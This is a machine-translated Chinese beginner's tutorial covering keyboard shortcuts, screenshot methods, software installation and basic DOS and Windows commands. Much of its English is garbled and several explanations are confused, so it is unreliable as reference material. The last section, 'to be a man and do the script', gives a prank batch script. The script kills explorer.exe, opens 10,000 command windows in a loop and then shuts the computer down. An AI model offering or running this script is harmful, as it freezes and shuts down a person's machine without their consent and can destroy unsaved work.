The basic operation of the software co-taught computer ---

1, understanding the keyboard keys

1, the main keypad

ESC key: (Escape: escape) key to exit the

Tab key: (Table: Table) tab key

Capslock key: Caps Lock

Ctrl key: (Control: Control) control keys

Shift key: (Shift: Conversion) Shift key on the

Alt key: shift key

Windows key: open the menu key

Enter: Enter key line feed

spacebar: space

2, function key area

F1: Help key

F3: Find key

F6: Switch to the address bar

F5: Refresh button

F11: Full screen

PrtSc: PrintScreen screenshots key

insert: insert / overwrite key

delete: Delete key

Backspace: rewind, delete key

3, combination of keys

Ctrl + C Copy

Ctrl + X Cut

Ctrl + V Paste

Ctrl + Z Undo

Ctrl + A Select all

Ctrl + S Save

Ctrl + W Close program

Ctrl + N Create

Ctrl + O Open

Ctrl + F Find

Ctrl + Shift input switching

Ctrl + space English switch

Ctrl + Shift + <Quick text Smaller

Ctrl + Shift +> quickly zoom text

Shift + delete to permanently delete the selected item, without placing the "Recycle Bin"

while dragging an item copy selected press CTRL

drag press CTRL + SHIFT while moving the selected item to create a particular shortcut key

F2 to rename the selected item

SHIFT + any arrow key to select a number on the window or on the desktop, or select text within a document

Alt + F4 Close the active item, or exit the current program

Alt + Tab to switch between open items

individually by Windows: Shows or hides the "start" menu

Windows + D: show Desktop

Windows + M: minimize all windows

Windows + Shift + M: restore minimized windows

Windows + E: open the "Explorer"

Windows + F: Find files or folders

Windows + R: On "Run" dialog box

Windows + U: On "Display Settings"

Windows + L: Switch User (Windows XP new features)

2, learn Screenshot

Method a: PrintScreen key press, the full-screen image is taken, and then press ctrl + c copy, then open the windows program, press ctrl + v can see the image taken

Method two: Press the key combination Alt + PrintScreen key, interception of the current picture window (the window is uppermost), and then press ctrl + c copy, then open the windows "Paint" program, press ctrl + v taken can be seen in FIG. .

Method three: win10 below can win + shift + s drag screenshot

Qq or where the micro-channel open:: Four methods Ctrl + alt + A

Method five (continuous recording): "PSR" (step recorder) to open the software provided in the output path of the input into the computer running the window, click on the start / end

3, learn to install the software (to install notepad ++ software as an example)

The main problem: change the default path, classification

4, the basic dos command

D: to the D disk

cd .. go back one level

cd Change directory to the file name of the file name (subdirectory) under

cd directly back to the root directory

dir current file directory in the root directory

dir / s all listings

After dir / p when multiple directory, P for split-screen, a screen display End stop

dir / w all files within a display screen to display only files and subdirectories

dir .bat extension is bat display all files on behalf of any character. * Is a wildcard character, may be representative of a plurality of characters, the separator plays a role in prior

dir a * to display all filename is a file, * represents any character

dir a? to display all file names begins with a, and only two letters? It represents any character. ? Is a wildcard, only represent a character, play a role in pre-separator

dir / ta display directory file's last access time access

dir / tc display the directory of the file creation time creat

md file name to create the directory -make directory

rd remove the file name directory -remove directory remove directory can not have subdirectories and files, you can not delete the current directory

txt file copy con 1.txt create a file named 1 of the document contents to jump directly to the establishment, ctrl + z complete content editor

txt document del del 1.txt delete the file named 1 only for documents, rd for the file

ren file name to rename the new file name

type 1.txt 1.txt display the contents of the file are generally only applicable to txt

display file tree directory tree, the directory containing the bottom

This command displays the echo character

After this statement echo off all running command does not display the command line itself

pause pause

When Ctrl + C to interrupt the operation such as running a long tree

Right - this marked optional Chinese

Mouse - paste text may be pasted

win system under the command executed before F7 to view the MAC, need to add Fn

help command help

cls Clear Screen

ver View system version

date view the date

time view time

ipconfig to view computers and network address

ipconfig / all displays all network adapters complete TCP / IP configuration information

View windows system version winver

notepad open the Notepad program

mspaint open the Paint program

calc Turn on the computer program

regedit Registry Editor

taskmgr Task Manager -task manager

tasklist display computer processes

Firewall firewall.cpl

Open the Control Panel control

Tab to complete filename

5, to be a man and do the script

taskkill /f /im explorer.exe
for /l %%i in (1,1,10000) do start cmd.exe
shutdown -s